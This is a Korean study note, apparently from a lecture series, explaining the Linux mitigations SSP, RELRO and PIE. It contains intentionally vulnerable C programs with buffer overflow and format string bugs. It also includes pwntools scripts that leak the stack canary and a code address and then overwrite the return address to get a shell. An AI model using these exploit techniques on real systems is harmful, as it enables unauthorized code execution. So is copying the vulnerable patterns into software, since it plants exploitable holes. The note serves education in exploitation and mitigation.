8강 Linux Exploitation & Mitigation Part 3
8.1 SSP
NX bit와 ASLR 보호 기법은 메모리 커럽션 취약점의 공격을 어렵게 하기 위해 도입된 보호기법에 반해 Stack Smashing Protector은 메모리 커럽션 취약점 중 스택 버퍼 오버플로우 취약점을 막기 위해 개발된 보호 기법이다. SSP는 스택 버퍼와 스택 프레임 포인터 사이에 랜덤 값을 삽입해 함수 종료 시점에서 랜덤 값 변조 여부를 검사함으로써 스택이 망가뜨려졌는지 확인한다.
SSP 보호 기법이 적용돼 있다면 함수에서 스택을 사용할 때 카나리가 생성된다. 마스터 카나리는 main 함수가 호출되기 전에 랜덤으로 생성된 스레드 별 전역 변수로 사용되는 TLS(Thread Local Storage)에 저장한다. TLS 영역은 _dl_allocate_tls_storage 함수에서 __libc_memalign 함수를 호출하여 할당된다.
0x8048485 에서 eax 레지스터를 보면 카나리의 값이 0x4dc1e800 인 것을 확인할 수 있다.
파일러에서 SSP 보호기법을 적용하는 경우 스택 배열을 사용하는 함수가 있으면 시작과 끝 부분에 stack_guard 체크 코드가 삽입된다.
no_ssp의 디스어셈블리 결과와 달리, ssp 에선 함수 프롤로그와 에필로그에 스택 카나리 검증 루틴이 추가된 것을 확인할 수 있다.
두 바이너리 각각 buf 배열 크기보다 긴 값을 인자로 전달하면 no_ssp 바이너리의 경우 Segmentation fault 예외가 출력되며 프로그램이 비정상 종료되는 반면, ssp 바이너리는 __stack _chk _fail 함수가 호출되어 "stack smashing detected" 문자열을 출력하며 프로그램이 종료된다.
SSP 보호기법을 우회하기 위해서 스택 메모리에 존재하는 스택 카나리의 값을 변조시키지 않은 채로 익스플로잇을 해야한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
#include <stdio.h>
void give_shell(void){
system("/bin/sh");
}
int main(void){
char buf[32] = {};
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("Input1 : ");
read(0, buf, 512);
printf("Your input : %s", buf);
printf("Input2 : ");
read(0, buf, 512);
}
|
cs |
위 코드는 스택 오버플로우 취약점이 존재한다. main 함수에서 read 함수를 호출할 때, buf 의 크기보다 더 큰 크기를 입력받아 스택 버퍼 오버플로우가 두 번 발생한다. SSP가 설정되어 있어, 스택 카나리의 값을 알아내야 한다.
printf("Your input : %s", buf); 을 보면 %s 포맷 스트링을 이용해 buf의 내용을 출력한다. printf 함수의 %s 포맷스트링은 NULL 바이트를 만날 때까지 출력해준다. buf 배열의 끝이 NULL 바이트가 아니라면 buf 배열 밖의 메모리까지 출력할 수 있다.
gdb를 이용해 buf 배열부터 스택 카나리 + 1 까지의 오프셋을 구한다. 그 결과 오프셋은 0x21 인 것을 확인했다.
from pwn import *
p = process("./example66")
e = ELF("./example66")
context.log_level = 'DEBUG'
payload = "A"*33
p.send(payload)
leak = p.recvuntil("A"*33)
canary = int(u32("\x00" + p.recv(3)))
# int( ?? , 16) == hex( ?? ) !!
print("[+] leak :" ,leak)
print ("[+] CANARY :", hex(canary))
위 코드는 스택 카나리의 값을 구하는 파이썬 스크립트를 pwntools을 사용한 것이다. 실행해서 스택 카나리의 값을 출력해볼 수 있다.
이렇게 구한 스택 카나리 값을 이용해 main 함수의 2번째 read 함수에서 스택 버퍼 오버플로우를 익스플로잇할 수 있다.
gdb를 이용해 give_shell 함수의 주소를 구한 후 리턴 주소를 give_shell 함수의 주소로 덮어 셸을 획득할 수 있다.
from pwn import *
p = process("./example66")
payload = "A"*33
p.send(payload)
leak = p.recvuntil("A"*33)
canary = "\x00" + p.recv(3)
print("[+] leak :" ,leak)
print ("[+] CANARY :", hex(int(u32(canary))))
give_shell = 0x804854b
payload = "A"*32 + canary + "BBBB" + p32(give_shell)
p.sendline(payload)
p.interactive()
위 코드는 메인 함수의 리턴 주소를 give_shell 함수의 주소인 0x804854b로 바꾸어 셸을 획득하는 pwntools를 사용한 파이썬 스크립트이다. 이를 실행하면 셸을 획득할 수 있다.
8.2 RELRO
ELF 바이너리에서 printf와 같이 동적 링크 라이브러리 함수를 호출할 때, 호출된 함수의 주소를 찾기 위해 PLT(Procedure Linkage Table)와 GOT(Global Offset Table)를 사용한다. GOT에는 처음 라이브러리 함수의 주소를 구하는 바이너리 코드 영역 주소가 저장되어 있다가, 함수가 호출될 때 라이브러리 함수의 실제 주소가 저장된다. 이렇게 바이너리가 실행되는 도중, 함수가 처음 호출될 때 주소를 찾는 방식을 Lazy Binding 이라고 한다.
Lazy Binding을 할 때는 프로그램이 실행 도중 GOT에 라이브러리 함수의 주소를 덮어써야 하기 때문에 GOT에 쓰기 권한이 있다. GOR에 값을 쓸 수 있다는 특징 때문에 GOT Overwrite와 같은 공격이 가능하다.
그러나 RELRO(Relocation Read-Only) 보호기법이 설정돼 있으면 GOT와 같은 다이나믹 섹션이 읽기 권한만 가진다.
8.3 PIE (Position Independent Executable)
PIE는 Executable, 즉 바이너리가 로딩될 때 랜덤한 주소에 매핑되는 보호기법이다. PIE 보호기법 원리는 공유 라이브러리와 비슷한데, 컴파일러는 바이너리가 메모리 어디에 매핑되어도 실행에 지장없도록 바이너리를 위치 독립적으로 컴파일한다. 이는 코드 영역의 주소 랜덤화를 가능하게 해준다. PIE가 설정되어 있으면 코드 영역의 주소가 실행될 때마다 변하기 때문에 ROP와 같은 코드 재사용 공격을 막을 수 있다.
즉, PIE가 설정돼 있으면 코드, 힙, 라이브러리, 스택 등 모든 메모리 영역의 주소가 랜덤화 된다.
PIE 보호기법을 우회하기 위해 코드 영역의 주소를 알아야 한다. PIE 보호기법이 설정되어 있을 때 코드 영역은 공유 라이브러리처럼 메모리에 로딩되어 libc.so.6 라이브러리 주소를 구하는 과정과 같이 특정 코드 영역의 주소를 알아내면 코드 영역 베이스 주소를 구할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
#include <stdio.h>
void give_shell(void){
system("/bin/sh");
}
void vuln(void){
char buf[32] = {};
printf("Input1 > ");
read(0, buf, 512); // Buffer Overflow
printf(buf); // Format String Bug
printf("Input2 > ");
read(0, buf, 512); // Buffer Overflow
}
int main(void){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
}
|
cs |
위의 코드에서 read(0, buf, 512); 에서 스택 버퍼 오버플로우, printf(buf); 포맷 스트링 버그 취약점이다.
gdb로 vuln 함수를 디스어셈블 했을 때 주소가 오프셋 형태로 출력되는 것을 확인할 수 있다.
포맷 스트링 버그를 이용해 give_shell 함수의 주소를 구한 후, 스택 버퍼 오버플로우 취약점으로 리턴 주소를 give_shell 함수의 주소로 덮어 셸을 실행시킬 수 있다.
printf(buf)를 실행한 시점에서 브레이크포인터를 설정해 스택 메모리를 살펴볼 수 있다. 0xffffd040에 바이너리 코드 영역의 주소인 0x565557be가 저장되어 있다.
확인해 본 결과 0x565557be 는 vuln 함수의 리턴 주소, main+66 의 주소인 것을 확인 했다.
바이너리 코드 영역의 주소를 구해 give_shell 주소 계산이 목표이기 때문에 포맷 스트링 버그를 이용해 0xffffd040에 있는 값을 출력시켜보겠다.
11번째 "%x"에 대한 결과로 565557be가 출력되어 바이너리의 코드 주소를 알아내어 이 주소를 이용해 give_shell 의 주소를 계산할 수 있다.
give_shell 함수의 주소는 0x565557be - 0xee 이다.
from pwn import *
p = process('./example8')
#context.log_level = 'DEBUG'
p.recvuntil(">")
p.sendline("%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x")
addr = "0x" + p.recvline()[91:]
print "[*]addr = " + addr
give_shell = int(addr, 16) - 0xee
print "[*]give_shell = " + hex(give_shell)
p.interactive()
위 코드는 give_shell 함수의 주소를 구하는 파이썬 스크립트이다. 실행하면 give_shell 함수의 주소가 출력된다.
이를 오버플로우 취약점을 이용해 vuln 함수의 리턴 주소를 give_shell 주소로 덮어 셸을 실행해 보겠다.
from pwn import *
p = process('./example8')
#context.log_level = 'DEBUG'
p.recvuntil(">")
p.sendline("%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x")
addr = "0x" + p.recvline()[91:]
print "[*]addr = " + addr
give_shell = int(addr, 16) - 0xee
print "[*]give_shell = " + hex(give_shell)
p.recvuntil(">")
payload = "A"*40
payload += p32(give_shell)
p.send(payload)
p.interactive()
실행하면 셸이 실행된다.
Review(8강 Linux Exploitation & Mitigation Part 3) SSP(Stack Smashing Protector) : 스택에 랜덤 값을 저장시켜 스택 버퍼 오버플로우 취약점을 탐지할 수 있도록 해주는 메모리 보호 기법으로, 메모리 릭을 통해 스택의 랜덤 값인 카나리를 구하여 SSP를 우회하여 공격하는 방법에 대해 배웠다. RELRO(RELocation Read Only) : 다이나믹 라이브러리의 함수 주소를 구하는 데 사용되는 relocation 영역에서 쓰기 권한을 없애는 보호 기법으로, Lazy Binding과 Now Binding의 개념, 그리고 RELRO를 우회하는 방법을 배웠다. PIE(Position Independent Executable) : 바이너리의 위치를 독립화해 바이너리가 로딩되는 주소가 실행할 때마다 바뀌는 보호 기법으로 메모리 주소 릭을 통해 PIE를 우회하는 방법에 대해서 배웠다.